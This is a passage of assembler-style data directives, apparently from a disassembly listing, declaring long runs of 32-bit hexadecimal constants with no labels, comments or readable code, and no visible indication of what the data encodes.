		dd 9D9AA00h, 58D1530Eh,	1B39A466h, 3DE66D80h, 8F455643h
		dd 0E94AB700h, 0ADEEF4B8h, 0A3C2E9Fh, 0D8AC0118h, 0F8E00FC0h
		dd 0A120AAD0h, 9F022753h, 10BF1420h, 5000808Dh,	32318381h
		dd 947A6ACh, 0E1A366B6h, 0B45F2802h, 0F2CD7060h, 0B09FF824h
		dd 610FD426h, 6F4AC0B0h, 1B50DC6h, 0B9512692h, 803B5D70h
		dd 9105D930h, 28E222Dh,	2B34F1BEh, 0CA83F2F0h, 0D000194Ch
		dd 0CC35EBB1h, 98FA9B5Ch, 2CA90020h, 0A07949ACh, 0F4B0C518h
		dd 5B50D818h, 4DFAD30h,	0FA6F0C14h, 0F780BA80h,	0BFDD1Dh
		dd 74D45E9Eh, 8CE7D1D2h, 0E889B50Fh, 0BB0037B4h, 0EC5F5702h
		dd 368D017Dh, 24DFD895h, 0B973FCA7h, 0AB831F4Fh, 0E4FED0C9h
		dd 9821453h, 0A8009821h, 40B1B7BFh, 0C302A9DEh,	0D614CD52h
		dd 6D8DC05Dh, 0FD9A0E7Bh, 40C65580h, 2C01A00Dh,	9D27FBFCh
		dd 74FC8754h, 453EC45h,	0FAF7A03Dh, 8B0C012h, 631DCA7Fh
		dd 6CC00683h, 757DFC95h, 0B1F209C3h, 24202991h,	0CB46425Ah
		dd 0B2C95800h, 0D4C42DE3h, 4C8BAA3h, 0BD6B57A1h, 8828D3B8h
		dd 0F3EB5F80h, 0B15CE400h, 7EC6C2A3h, 0DE2F01AEh, 0FEC7DBA8h
		dd 0DCBC70D7h, 87010C9Ch, 6568A1C1h, 1B3C20h, 62B2D501h
		dd 0C9BCB358h, 0DCD8E30Fh, 3C24E1E9h, 60E68C4Ah, 0BE4550h
		dd 40C522E2h, 7E15C079h, 92CB7430h, 0C84EB5h, 433F2393h
		dd 44AE2FFFh, 64400600h, 39B49C42h, 0FCAC0075h,	0EEF2492Ch
		dd 0A49A4B0Fh, 162AB02h, 70D6036Fh, 1DD0000Ch, 3ABBF0D1h
		dd 163B5DE8h, 0B0E700C8h, 0C6CC489h, 0DDB7039Bh, 0B4ECA69Fh
		dd 0B2E33D88h, 0F386CA3Eh, 25F83E00h, 8848BF94h, 0A7AD3A31h
		dd 0C1B592h, 60597048h,	74BA6590h, 0D8064D01h, 20492363h
		dd 8C003A21h, 0D57696h,	35B6A85Ch, 0C7BDA0BEh, 0F6871109h
		dd 66870081h, 60806586h, 18E13810h, 0A24E6097h,	1017644Ch
		dd 70A800E0h, 0BFCA477Ch, 940033B5h, 8A750B2Dh,	761E07h
		dd 0F601DC38h, 77E93C84h, 5E6FF800h, 0E4E09335h, 60B80039h
		dd 8459BE8Fh, 920063AAh, 6D8A54F7h, 1AF3706h, 0B6735743h
		dd 0C5C47C2Ah, 5C60EE34h, 211FF13Dh, 2FA8E4Fh, 71EFEED8h
		dd 87CC904Eh, 55AE01ADh, 13FAF629h, 0D3C850F3h,	37004A3Ah
		dd 495C1CCBh, 266A77BDh, 88189Ah, 0E5E0571h, 6701AF84h
		dd 55940BC6h, 0BA60FEE3h, 7C1300EFh, 0DACA8AFCh, 6265D012h
		dd 0C80EF4B0h, 0A58FC907h, 8C554948h, 39E0506Ch, 0E129240Bh
		dd 1E9891AAh, 2452BAD4h, 9006536h, 0C8032EBh, 0C33EA213h
		dd 0CA089100h, 0E22DFB77h, 480D00EFh, 60864454h, 0EB0F1A52h
		dd 0A223891Bh, 857C4E67h, 56C00C98h, 0F2C58ABh,	3A322722h
		dd 0D2BBC340h, 0DF00355Ah, 7E6786CDh, 22A4B12h,	22534763h
		dd 0D060E81Fh, 0F3E2E49Bh, 0FC82F100h, 6F13688Bh, 27F90196h
		dd 0D766D94Dh, 653CFCC0h, 2BA4D60Fh, 85B0062h, 0BE35E176h
		dd 0AC54000Ch, 9A6D6704h, 0FF78F502h, 0E089F046h, 215D65h
		dd 35392D28h, 0D8843812h, 80019200h, 7154A04Eh,	69BB033Fh
		dd 405091C8h, 0FABCB98h, 534054Ch, 6076C334h, 8472E4D1h
		dd 0C5122868h, 3E6C00D4h, 887092B9h, 0DC7C11C0h, 9809ABCCh
		dd 4F990EC8h, 0C433238h, 0C2E8A3BAh, 0D73A5301h, 2E431EFCh
		dd 26276100h, 13AAFAh, 84A26FA1h, 2CDF62ADh, 60D14C2Eh
		dd 0FC08EA00h, 0B0BE27E2h, 2C4AE0D5h, 0FD894EFh, 0FE202B40h
		dd 87E46EA5h, 4581CF00h, 1B3D1799h, 0EA76322Fh,	84601341h
		dd 36F2B1C4h, 98005DECh, 0A9EFD94Ch, 3B3F60h, 0B02D08CAh
		dd 665CD22Ch, 0F983DC00h, 0AF28827Eh, 3EE0015h,	0FE90880Fh
		dd 5C122B5Dh, 78B4CAE1h, 0FFC10074h, 44F6E52Ch,	64008DBCh
		dd 0DA9C52B4h, 2DD55Fh,	0B2EA8C3Dh, 0DD8EF733h,	0B23945Ch
		dd 4C12056Eh, 0FEE60220h, 9002F911h, 1BDE3080h,	5E07061Fh
		dd 0C6048856h, 0F8547C40h, 8245003h, 2A520CCh, 218AAE40h
		dd 660103FFh, 1C281AE3h, 189D6FE0h, 615C67A2h, 0C02057D8h
		dd 0ED203012h, 0D9600A80h, 0F543458h, 388B9F59h, 0B04CE48h
		dd 8F5D807Ch, 1C0C48E0h, 0F5E17841h, 3A061960h,	707AF03h
		dd 0F08F5EF7h, 61773952h, 6F19A500h, 0E1FCCC44h, 217A1F8Ch
		dd 22300D0h, 564EE7CEh,	914F8107h, 80E0D4E9h, 3DA4D9A9h
		dd 707E8Dh, 47238A6h, 56601485h, 1C43513Dh, 9C497717h
		dd 3276804Ch, 0FBFB4B9Fh, 443B47Dh, 0DD08B0ABh,	0DF4F07ECh
		dd 28DFB59h, 0CC4333B0h, 19002CE3h, 6E07F483h, 4CC5B3AAh
		dd 0DC3E5EDBh, 0E2A3A603h, 0E0EF9AA4h, 2568BF20h, 0E821E009h
		dd 34E0000Ch, 523FB8h, 0A395B684h, 0C0E15ACDh, 0C617EB00h
		dd 56EC82B9h, 3925F6BDh, 74FE7A91h, 865306AFh, 0A91D80D2h
		dd 0DD20990Ch, 12541869h, 0A5F8F5h, 910C7ED8h, 8E00E472h
		dd 73989590h, 6051F4D7h, 0B89920DFh, 38C556A7h,	5491AB78h
		dd 5980121Ah, 5A972CBDh, 0DE00188Eh, 536B1951h,	42946Ch
		dd 54CECC79h, 0C82DEF0Ch, 8C278C28h, 9E815C14h,	38F1608h
		dd 0ED2D1AC1h, 14199850h, 0A889855h, 0E4633525h, 12860948h
		dd 4DA15080h, 0F7008762h, 0F2841EECh, 22847h, 0A4A28834h
		dd 465918BAh, 0ED08B8C1h, 7180F39Dh, 2069830Ch,	0FB7CAFF0h
		dd 0D8A0C7F0h, 0ECA8CE63h, 7C0090BEh, 0EDD1DA37h, 359699h
		dd 23532114h, 31F94B8Eh, 0DE9E8C09h, 94042074h,	1CD1A2h
		dd 1ED89AAh, 50105EBFh,	0C9FC6A3Eh, 0A4301F14h,	0FABD3A00h
		dd 87BCB0h, 0DDCEF822h,	52147FA9h, 153EA101h, 82A886B6h
		dd 7AF9C431h, 0E0475300h, 1A85B6Bh, 0DB5F833Eh,	0DADD8F3h
		dd 57E40020h, 7DA9B290h, 0FA1EDCB4h, 7FC1D2A1h,	0EE1302Dh
		dd 18F997F8h, 104E2E86h, 210790BAh, 7DDBA36Ch, 0D8FF6743h
		dd 0F48F9405h, 0FBF93882h, 0E876C880h, 0A1F12DEh, 24811A02h
		dd 74034A2Bh, 806715ECh, 2860A227h, 0EC273E1Ah,	0E99C4878h
		dd 0D8420047h, 0EF3A45ADh, 883195EEh, 4464C8B9h, 0E58E4885h
		dd 0DDD180B8h, 6D00D7C2h, 1C93560h, 1F1DFCh, 0D5C56ED3h
		dd 9A1ECF5h, 15F8FBF6h,	0E6FD020Eh, 17ABC074h, 31076B2h
		dd 0FCF5A9F8h, 79C0B4CDh, 0F4006E19h, 0EC7D1F70h, 0FE3EB5EEh
		dd 13FD00F7h, 28239201h, 1D6FEDD4h, 0BD86A318h,	96500F0Dh
		dd 3F80FAAFh, 4CE67636h, 47F4511Fh, 0D74B5C40h,	30C5FCD4h
		dd 8E18376Dh, 0D50357B9h, 0AAFB36D0h, 5026C095h, 188DF0D3h
		dd 2869DE75h, 2100154Dh, 0FB291692h, 0C752E665h, 277C4218h
		dd 0CC94C09Bh, 5A00096Bh
		dd 0DE14CFEAh, 0F8A133h, 0D2A81DD9h, 1E16DD21h,	49A57100h
		dd 544E6327h, 7951E4F1h, 34A23A47h, 67389Fh, 0D30ABCE0h
		dd 3D54F69Fh, 4A53F9Ch,	0C9C673C0h, 0DC1F0A2Bh,	0BEC8DFCAh
		dd 12D4590Ch, 96147228h, 39806B5h, 11BD804Ah, 1DD00668h
		dd 51DB7530h, 389BEC18h, 283EB659h, 30CC11AEh, 9A711CC3h
		dd 0E30046E1h, 0F74236D2h, 0F061851Dh, 772D01ACh, 6E8203BAh
		dd 7FA84052h, 0B6021BDh, 78FACA69h, 0C014ECDEh,	0E7703F88h
		dd 38C32C4Dh, 2F56DE4h,	769EB278h, 1040ABBCh, 0C92922D0h
		dd 0E9901C77h, 2030243Ch, 6D7E6E98h, 17A85B07h,	46B05040h
		dd 30290115h, 5FD13B36h, 4B01B7C7h, 2256DDB6h, 89BB5BEh
		dd 0CF982163h, 0B100ABB7h, 0EE0C0112h, 73873EFh, 96FB1588h
		dd 0B6804C75h, 70ED8E12h, 5DD5849h, 34202A50h, 214AB7CAh
		dd 0FDC0C5B6h, 0F2B7D2h, 2EF7545Ch, 6B3C7AA5h, 5EC11973h
		dd 0C53976B1h, 711B9020h, 5E39CE36h, 0C013BF65h, 0B4188CD3h
		dd 711C4202h, 80F5A2B2h, 512AE1C8h, 0C1ECEFh, 0DA416F98h
		dd 29314E0Ch, 0DB274C00h, 595B2171h, 0DFF8A8F6h, 6CB7120Ch
		dd 0FB8C0479h, 0FADA01A4h, 48C29750h, 211C24h, 1E7A22E1h
		dd 36813B02h, 21B008DFh, 0E127BFh, 0DE595F9Ch, 5F3D42Ah
		dd 6FCA551Eh, 9C227C0Ah, 77AEF00h, 203A9Bh, 4664D37Bh
		dd 86404BEBh, 0A8A0657Eh, 29191D91h, 0DBA1F854h, 0B88E7CCDh
		dd 7B035AB1h, 0E5835B61h, 48352100h, 8AC7177Ch,	6FE82204h
		dd 94DE713Bh, 15A9A9B0h, 36A85176h, 46692070h, 7C4A01EEh
		dd 5B5971CAh, 3A88DF0Ch, 867C0F53h, 30C3E0C6h, 76D01C2Ah
		dd 0B9149A71h, 189CA3BEh, 1031EB59h, 0A08500A4h, 0B40745CEh
		dd 90028774h, 4CD0CFADh, 14684091h, 0E10B8922h,	0FB6C301Ch
		dd 26B8D709h, 0B3A0004Ah, 64B18671h, 95972810h,	0D4328090h
		dd 2B02AA8Ah, 0A3249E54h, 14462Ah, 0DF7C8D19h, 8E833E6h
		dd 0D410972Ah, 0E5A3A400h, 76E70E8Fh, 4009002Ch, 328567ACh
		dd 0B100421Fh, 0E21E312Ah, 92B43D20h, 490CFA5Ch, 0FB00B473h
		dd 284BB3B7h, 79029AEBh, 0E1263EB9h, 0A000CB6Fh, 545A1E30h
		dd 3C3984E9h, 0CB803D02h, 0D13481C0h, 0E40152DEh, 6F9E393h
		dd 9701D7Eh, 68460097h,	0FA9B19E1h, 0EB02F820h,	24F6288h
		dd 46484127h, 0E1041F18h, 18E7A20h, 0B5200532h,	58EAE125h
		dd 4C013C1Bh, 3017AAF4h, 9902D778h, 0AF8D8672h,	3048CEA9h
		dd 0B4E91B12h, 931CE170h, 807D96EBh, 95513EFFh,	4D68DA2h
		dd 3A819BA4h, 79BC80D9h, 5D4CBA75h, 0C4A47A74h,	37B4800h
		dd 473ED3C1h, 0F68CA17Fh, 564A8C10h, 98DAD102h,	4ADF46B9h
		dd 380C82E0h, 1458190Ch, 5372BC81h, 74360C21h, 11745426h
		dd 0B7DD8027h, 8C6DB649h, 1FFA6544h, 1C9B7C5h, 856C9063h
		dd 8A79C41Ch, 6048EE30h, 18A7B77Ch, 0B1F7591Dh,	2E02F199h
		dd 963E277Ah, 1FB4A00Bh, 960828Eh, 46930486h, 0AB00D850h
		dd 2642910Eh, 29542ACCh, 80ACB130h, 0D0113A99h,	5F120A57h
		dd 3809C29Ah, 77508521h, 0FA06E45Dh, 0B16A3Ah, 0BC60C754h
		dd 8A50823Ch, 0D7002675h, 56FC5ABh, 24C6ACCCh, 4958D275h
		dd 13128003h, 8C49710Fh, 817F6038h, 0D70973h, 48931888h
		dd 7731694Fh, 72EB30C0h, 20C425h, 94DC4E0Dh, 705797E8h
		dd 0C71CD40Bh, 2C282422h, 44B7C460h, 20B5B623h,	0CCFF285Ch
		dd 370BE0C4h, 90911672h, 217C5FBDh, 97E4BE03h, 0E4BB690Eh
		dd 0E80E548Dh, 7DC36888h, 0ECDBCA6Bh, 6EF71270h, 1C144EDAh
		dd 0B5C5B2C1h, 5C10A42Eh, 0D2EBF604h, 5C8F8CEh,	58281ACAh
		dd 0A9B22410h, 3DE384h,	12CF3EBBh, 0FDF9C721h, 9B205322h
		dd 0A2F815A0h, 763F492h, 0A82C6021h, 5DCC67FDh,	1980E433h
		dd 1741A027h, 0C6DDD31Dh, 9DB27880h, 11D200Ah, 70FA74AEh
		dd 2001B586h, 0A098409Ch, 88281658h, 7C3EC02Ah,	0B94371DEh
		dd 7C473680h, 0A100600Eh, 3B758ED5h, 1F445D8h, 10DBCCEAh
		dd 63514078h, 33E2A220h, 0DDAA1E90h, 0EBDB5D1Eh, 9423D86h
		dd 0DEFA0BA8h, 30A7219Ch, 3A745576h, 1CE82360h,	40338A10h
		dd 14B9C2A4h, 66E488E5h, 0F5803960h, 25271000h,	3543C1D6h
		dd 22E700D4h, 0CF6FA0A9h, 5605A5BCh, 82500D8Eh,	0C7D1FC08h
		dd 9B225024h, 448620F2h, 0EE756206h, 1DDB4700h,	0B3A79D3h
		dd 761B770Ah, 50DF4889h, 0E0CF4488h, 7E7A1EE1h,	0B3808501h
		dd 7AF2E123h, 0BC9112h,	4D3C3BDFh, 1A039336h, 0E8B3B819h
		dd 1F32DB21h, 98200DF1h, 1605DA80h, 0C0CD5D17h,	0F976B002h
		dd 84C88968h, 0A4A0391Ch, 0BF520FBEh, 0FC807E32h, 716B8BCDh
		dd 43519609h, 97E40BA7h, 8065110Ch, 295B68A7h, 882400C6h
		dd 8074E4EBh, 0A82555BDh, 9DD82245h, 44EC521Ch,	763B796Dh
		dd 32A8E0C5h, 0ACD23EBCh, 0EE2375C4h, 872A439Bh, 0EC50ED63h
		dd 308554CEh, 9348713Dh, 0BAE45A43h, 0A92F3537h, 0E1A4D490h
		dd 33260069h, 4A4DE7E2h, 0FD12CD0Bh, 0CC00A2FBh, 0CE7D1971h
		dd 43DC02EBh, 61D5C5FCh, 8A7A4440h, 0D2F8B212h,	422B8C1h
		dd 0C31C0805h, 1C401EC0h, 15C2219Bh, 53DFE88h, 0C03F2854h
		dd 62840FADh, 36011907h, 8EA0DC37h, 0AA6E72C9h,	0E4D0E5CCh
		dd 51166067h, 8CC2C06h,	0E7E06F78h, 371CB983h, 4A460300h
		dd 9A5ABABEh, 508CB87Dh, 92F5C852h, 229CB000h, 2A06226Eh
		dd 1D5853Bh, 0BC1A0198h, 71AED43Ah, 8EEDE89Fh, 1F80BC96h
		dd 749920D0h, 71791FE2h, 0BE56445Bh, 5384823Eh,	8E12230h
		dd 2267923h, 0C2401064h, 0F878E128h, 5861BE14h,	0E9980EB4h
		dd 0C034DEh, 4D1648D4h,	72179F0h, 0D0044E5Bh, 0C9BD7132h
		dd 0FECC492Fh, 24264BFEh, 0C919E992h, 68725440h, 0E322300h
		dd 0D6F37BD0h, 880D0C1Ch, 20AC680h, 0E6444501h,	0A1F10F79h
		dd 128CCFB1h, 5A0EC519h, 835B4C96h, 0C1A480h, 0D37CA511h
		dd 0B1EE3B2Bh, 9E44500Eh, 21AE8CB2h, 0D38400FFh, 0B3A2F9E7h
		dd 0F804C42Ah, 5DDC1595h, 0E83AC504h, 69D700B5h, 51DFC165h
		dd 603BE870h, 81932095h, 0FF00568Fh, 4A7878Eh, 667C2h
		dd 0C17B6DBAh, 8B231236h, 0D2E21700h, 38443EBFh, 86E600F0h
		dd 45C97473h, 0D501EE22h, 0AFB517CAh, 0D1BA5EEDh, 671B5000h
		dd 5FE0EF58h, 26A83B00h, 82EA41F7h, 0E4760046h,	0CB8B86CAh
		dd 9C000AF4h, 516C555Ah, 0DE9272F0h, 2DB640A0h,	0BD0D8681h
		dd 155F1F07h, 0F94E2005h, 81E45121h, 18DF00E2h,	0DEFE351Dh
		dd 0FF00543Eh, 0DCF4BD95h, 8A4251h, 19E42246h, 0E862939Fh
		dd 10786F00h, 145C75AFh, 940A30F5h, 0A1450D98h,	1813A4A1h
		dd 0E5900876h, 45C619D7h, 7F910021h, 9E20668Fh,	0F9901B5Bh
		dd 0CB38F200h, 54746EC4h, 5AD60597h, 844C53Fh, 7BC081F4h
		dd 463B2ED3h, 0E1A922F6h, 0C013C001h, 41020624h, 0DBFA1589h
		dd 0EFF32056h, 2E3A639Dh, 80CC3826h, 0F43E681Ah, 1841D6h
		dd 6D8C7088h, 39237514h, 0DC806A50h, 0DE1574E8h, 5398498Eh
		dd 9647A120h, 85012A0Ch, 0C3B74915h, 41ED8E0Ch,	0D8F5E88Ah
		dd 3F0F07F2h, 0D1BD4687h, 34CB3A0Ah, 46068C51h,	19B1A9h
		dd 6D90F893h, 0DA142C65h, 3EB4A700h, 260C05F6h,	16B50955h
		dd 4400CA6Ah, 0C3C59B0Bh, 485C9035h, 0C2F41C08h, 0E8828119h
		dd 1C46201Dh, 155C044h,	0D9278121h, 0F8C98B2Dh,	0D6F658CFh
		dd 0B3405C18h, 6C6777E1h, 0F2603044h, 8117248Ch, 302D14F0h
		dd 811F53A0h, 5C707301h
		dd 0A1966794h, 0E4F045EEh, 0D1BC60AAh, 23DE00D8h, 772EE32Ch
		dd 1200F10Ah, 0E0D5C96Dh, 0D6CFAh, 0EB304F8Eh, 0CBBDA1A6h
		dd 0BC1CECEFh, 906DC02Ah, 0C33C4506h, 18106970h, 69B8AA06h
		dd 0BF3CDA23h, 0DFC700C1h, 5B47EC78h, 49F309C0h, 0E820460Fh
		dd 0BD6BF679h, 7733BA0Ch, 60E9C3h, 0D83D5DECh, 1F3CC2CDh
		dd 81A33800h, 0E8756BACh, 0C66430D0h, 5470932Eh, 0BF44A4A7h
		dd 2A433067h, 8B607811h, 0D7E4CC19h, 9C470FFEh,	27206394h
		dd 0D0861AB9h, 23A833FBh, 0D3870345h, 0B2FA3B1Ah, 410AB19h
		dd 4BF4D390h, 0B49AD601h, 0BEECE0BAh, 0B0205C25h, 50EE2A81h
		dd 0E66C0088h, 47CA761Dh, 0D133923Eh, 6008FFh, 1DED0321h
		dd 0FA26CA7Ah, 77CCB550h, 0F9C18461h, 0B3F80658h, 369B001Ah
		dd 0EB22EEC1h, 0AE0E69BEh, 40CC45E8h, 415B953Ah, 389061B5h
		dd 8C471649h, 0B9BFA961h, 0C0830040h, 14F3613Dh, 65003692h
		dd 2A158C75h, 0E385E4Ah, 4326B694h, 3A0F0213h, 0C8A060D3h
		dd 0B08AD60Bh, 0DC2CD890h, 4A40C7Eh, 7A801F11h,	79D7E98Fh
		dd 9D48448Ch, 1EA8340h,	7DB13BCEh, 4B5A0CA5h, 0C0AEC8C0h
		dd 0CB01D0F2h, 19B5AA30h, 0E2F4DCECh, 0C2D9000Dh, 0CFD2F3EBh
		dd 0E10213CBh, 49F22115h, 544612h, 5538DE6Eh, 7091D7ECh
		dd 0AFD1B899h, 6628D819h, 648C6F00h, 0EDE0D55h,	48E09AB6h
		dd 0F323645Eh, 87811A01h, 0BA18150Dh, 1225488h,	9740C281h
		dd 0DC421A13h, 751C2ED1h, 0D8C04436h, 707AF432h, 5C040679h
		dd 0C1E3AB0Ah, 0EC161CB0h, 244F92ADh, 1C0117FAh, 660C1B3Ah
		dd 100BE820h, 349DB99h,	84B925C5h, 0CB95D0B7h, 89500539h
		dd 0B8E4A61h, 701DEDDDh, 4A804811h, 0A37E72B5h,	6AFC6EECh
		dd 72812FCh, 30A09CC4h,	5EE40C09h, 0AACDD50Dh, 0C0026174h
		dd 0D3853083h, 863B180Bh, 7816B2h, 28D38E02h, 1ADE6DC3h
		dd 14442300h, 0FFD55DFEh, 29B360AAh, 1BAB348Dh,	0FC217600h
		dd 6FA8573Bh, 0B4C33E35h, 0D9950C00h, 0D3B64C5Dh, 0C54BE005h
		dd 148B6B59h, 0F0C7BEC8h, 31E01F37h, 492EEE0Ch,	5E2A9849h
		dd 0CBD50190h, 11A5CC09h, 5BC834F6h, 21934330h,	38D13023h
		dd 0D09F870Bh, 7CF8AE09h, 7700A846h, 8221B78Fh,	0A918AE93h
		dd 0FBE823F6h, 40DCFEB4h, 0D6000A4Ch, 44C43D76h, 48F0CC12h
		dd 56261450h, 80901164h, 0C97B1DEBh, 57448CEFh,	1DF20912h
		dd 15807FD2h, 3D1FEEB5h, 41A20A04h, 24D2581Bh, 92546196h
		dd 46F22033h, 44BA30h, 0CA07A3A2h, 0D55BDDA5h, 0C4920800h
		dd 386F8E0Fh, 0A430E993h, 224500CAh, 1A7D8FF4h,	0E007AFB5h
		dd 4682E9D3h, 86C92821h, 9C52BEC9h, 0E8F7808Ch,	28115DAEh
		dd 0CD06D0Eh, 0B3AF2EC7h, 0FCBA8A50h, 220A98B0h, 9491F8B9h
		dd 0F6D4674h, 0E05694A4h, 7468F4EAh, 0F3E00219h, 8B26447Ah
		dd 0EDD86075h, 30C14972h, 7AE6300h, 2AB38AE2h, 0ABA46816h
		dd 0FA6C1401h, 0FBF009B4h, 7B8913AEh, 2082518h,	73012CFCh
		dd 1408086Eh, 405C281Ch, 19CB21B5h, 0AFD1C499h,	79293019h
		dd 0E162ED30h, 185405h,	747A8631h, 9CC3BD20h, 4C3CC400h
		dd 3B7F1BF7h, 6CE03023h, 0B5978B80h, 0E963DE30h, 4966C60Dh
		dd 1D169C45h, 1C342293h, 988F7D30h, 0E510A2DCh,	469A0038h
		dd 0B227C28Fh, 58EB4E12h, 3C1A1404h, 597F7480h,	0F1390096h
		dd 1EB240D5h, 2B018E10h, 5B83CAECh, 4993543Bh, 14E3008Ah
		dd 0F41A7E89h, 0F60E2774h, 0C5064EBEh, 0FC628DC4h, 0E7E4C9EAh
		dd 20FAFC59h, 3C1DF10Fh, 2000E8FCh, 0D740A07Ah,	0C41ABED8h
		dd 0CEA62A80h, 0C04288B8h, 0E6A060B8h, 115FCB04h, 8480AD82h
		dd 0FC392Ch, 98FDDBDAh,	493431A6h, 2440084Eh, 7C043921h
		dd 0E828F91Ch, 138C43BCh, 160B5A3Fh, 0A2DC7498h, 32BBB2CCh
		dd 9E9BE057h, 1E250676h, 218977F4h, 2CBDD0Eh, 70FA2030h
		dd 748469FFh, 0DE0C1321h, 3A5C43BEh, 0F2C20A02h, 23EDB869h
		dd 953BA118h, 6600220Ch, 7E0F84F7h, 2EF5D1E3h, 40A4ED6Eh
		dd 209773E4h, 4EEA1C00h, 0B81EDF79h, 0B0E62839h, 0B91A07B8h
		dd 0C9D08605h, 0D4B6DCA2h, 0A6168490h, 7B77450Ch, 67ED1051h
		dd 275C595Fh, 858102Ah,	0A900D0D1h, 394504FCh, 0E6BCEAh
		dd 708A2E75h, 0C35028Ch, 1CA04098h, 78C2C1AEh, 58B28F4Bh
		dd 41B73ECCh, 2F19B131h, 880814ABh, 8F7CC021h, 4946D7EBh
		dd 9F002C52h, 0FD348F45h, 63F2F843h, 0B58C8A06h, 0A0C112D3h
		dd 8347F2D4h, 99821888h, 754860F0h, 183238Ch, 0CA781DE8h
		dd 88541857h, 1D1FEF05h, 9FAEBBA2h, 543F5C0Ah, 0A1D4DA0Fh
		dd 6518CB3Bh, 88381831h, 5F80C4C8h, 71FDEBDFh, 0C8700183h
		dd 0E6ED827Bh, 23C829C3h, 1DEC018Fh, 4AF7C97Ch,	0F3110048h
		dd 0C97D301Dh, 5D020881h, 0F4805343h, 9E31A714h, 0E538397Fh
		dd 0D566B2E4h, 8F20822Ch, 0ED95F8A0h, 90A8538Eh, 9CAAB914h
		dd 0B9794059h, 1E00B418h, 11786EC2h, 4AF9F41h, 49FA7F74h
		dd 5B508815h, 545E3928h, 0DC3FD607h, 91BB8A77h,	1418F568h
		dd 0D258171h, 3FA89605h, 23871C56h, 30FBF362h, 2D5CA00Bh
		dd 0AA00E77Bh, 0FD27790h, 7BBE33Fh, 49454793h, 83BEB538h
		dd 0E84A8794h, 0B023AC2Fh, 5C66F704h, 0E04058E2h, 0ED288C8Ah
		dd 0FF4CCF1Dh, 0F40CE0B4h, 9B771Dh, 19AE0D22h, 760B7AD3h
		dd 0C8487328h, 0FED55F04h, 0F4C8DB32h, 12A47E41h, 0F7B0AEDh
		dd 0C818879Ch, 6226095Fh, 0C704D01Fh, 0A890AF3Eh, 9A2ED8D5h
		dd 0B51C1EB4h, 4A60ECDDh, 0DF490ED0h, 54D33762h, 3C718C62h
		dd 318BDD1h, 9A8EBA00h,	5E1C453Ch, 42DD1D27h, 2AB2493Bh
		dd 0C6BBB417h, 0A290C100h, 0E3B9AC6Fh, 0CF874209h, 0ECA418BEh
		dd 0D68E05A3h, 6E4B10h,	8974CAC0h, 79D42C24h, 8C60E8A8h
		dd 0E7AC8950h, 7436BF41h, 79D87EF3h, 0DA00A6CBh, 6C4564E8h
		dd 1483C756h, 281695F7h, 0E6907780h, 249421D7h,	809458h
		dd 0E0DB7F8Fh, 0A7DAF0D3h, 0D7D0E41Eh, 0F820AE0Ah, 5E86CF03h
		dd 5AB00062h, 1B424A21h, 4498644Ch, 0B0C09606h,	0FE80838Ah
		dd 7ACB2C5h, 0F9D8EE09h, 0DC68002h, 4153197Ah, 0EFB2201Ch
		dd 38027C2Dh, 71ABEBBBh, 0E9A0D4E0h, 0D86C8224h, 38BA465Eh
		dd 72007312h, 7FD59DAFh, 54C486BFh, 0B6DCF0B2h,	150D8004h
		dd 4DE7657Bh, 61BB400h,	781762FFh, 8C51C0C2h, 0AA149FB8h
		dd 0B947DF00h, 0ACE6B492h, 0F8213CF3h, 0C71CFFD8h, 2F0242D5h
		dd 9482B1DFh, 0C2C2D482h, 0C88A5062h, 3C902090h, 9138A51Ch
		dd 0D98216BBh, 6D1A10CBh, 8446F044h, 771DE702h,	0D0674FCAh
		dd 1DEE0600h, 14A1E415h, 70A98BE0h, 77BF8300h, 8C2BC809h
		dd 0AC50B403h, 0A075403Dh, 26BC8F4Dh, 13D80BAAh, 3C0409B3h
		dd 360D005h, 0C3FAEBCCh, 4A5497Eh, 68F75181h, 8340FD26h
		dd 7BEB5B15h, 4E7C70h, 0AC56BE67h, 5A57BD72h, 0F204838h
		dd 0E04C4A97h, 5EBC46EEh, 248100ECh, 2574F352h,	0C997AC4h
		dd 5918BAD1h, 5E1BA400h, 57C3B7FAh, 2C88B868h, 80384DD6h
		dd 1760CB10h, 91270A3Bh, 11AC175Ah, 8F5C8EAEh, 842B32A0h
		dd 0DC91AA21h, 6E101058h, 25705050h, 130FB246h,	205BFB8Eh
		dd 1CBEEE90h, 2022F129h, 30AB36C2h, 309943EDh, 0DDD51200h
		dd 0EBD883F2h, 53BCCC28h, 0BD9B5C8Ch, 0B3E8972Ch, 0E0B07F79h
		dd 54027302h, 6B2EC980h, 0F28480B4h, 0B8ADBBD4h, 0BE41A0CCh
		dd 4FC9814h, 0F7E24CCFh, 0C848CBF8h, 0AAFBC044h, 90186AEFh
		dd 0D568C286h, 0AEA22E40h
		dd 0E1AA44F4h, 0C0301A6Ch, 35A8BE97h, 4028005Eh, 0EBD33862h
		dd 54096FE3h, 23A7C687h, 4ADD00h, 79EC7A39h, 8C1D7D0Fh
		dd 5B74D903h, 89A3EE72h, 9830D6E8h, 0A0A2608Eh,	9C0AC519h
		dd 0F0C02726h, 474674h,	5DF35725h, 54ECCF2Ah, 0F8D055h
		dd 0C6B9A553h, 4ED691F2h, 4F33A000h, 6B03AE1Dh,	7555015Dh
		dd 2B406984h, 8C8205B6h, 8EC72143h, 0F25034FEh,	26EDDB02h
		dd 0DAA47E24h, 3468008Ch, 4A05F49Ch, 39C0510Ch,	91DFE62Bh
		dd 0EDFF0070h, 0CE5C0973h, 6F128DF8h, 74A0C6D8h, 265127Eh
		dd 68A2B9h, 0DD60E325h,	7D87C770h, 34F3138Ch, 6C53145Bh
		dd 0B532EE08h, 10D1B609h, 3E7387FCh, 272F59CCh,	59112017h
		dd 2EC0B980h, 48026EC1h, 12415DE5h, 31CC80B5h, 5C47D33Bh
		dd 2C4C44AAh, 708CBBE8h, 0CDB200FDh, 2C3499B3h,	0D2F014F4h
		dd 390AE902h, 9316BFh, 0DA1F10D7h, 12A00E58h, 0E4004183h
		dd 450178EDh, 0DC1B0C12h, 3FB8C23Dh, 822E9A02h,	4860435Bh
		dd 2D83004h, 6EBDB577h,	0C0467DB7h, 8BC75324h, 18E49514h
		dd 78A19172h, 0C65D0128h, 0D55E2245h, 0D4002AC4h, 882F03D7h
		dd 0F41C007Eh, 5B777090h, 10286B9h, 147B188Fh, 0F57C6839h
		dd 22460090h, 18788F1h,	7C0C7FE4h, 8AFB514h, 705A0939h
		dd 20CAD1C8h, 214F3084h, 0AC428178h, 0EC2E31EFh, 0B5250D7Bh
		dd 28EC141Fh, 0AC1650h,	0AAEA80F8h, 0BCB323E8h,	3A5BC112h
		dd 38D74C90h, 10132612h, 0B0975A00h, 90804E11h,	37880AF3h
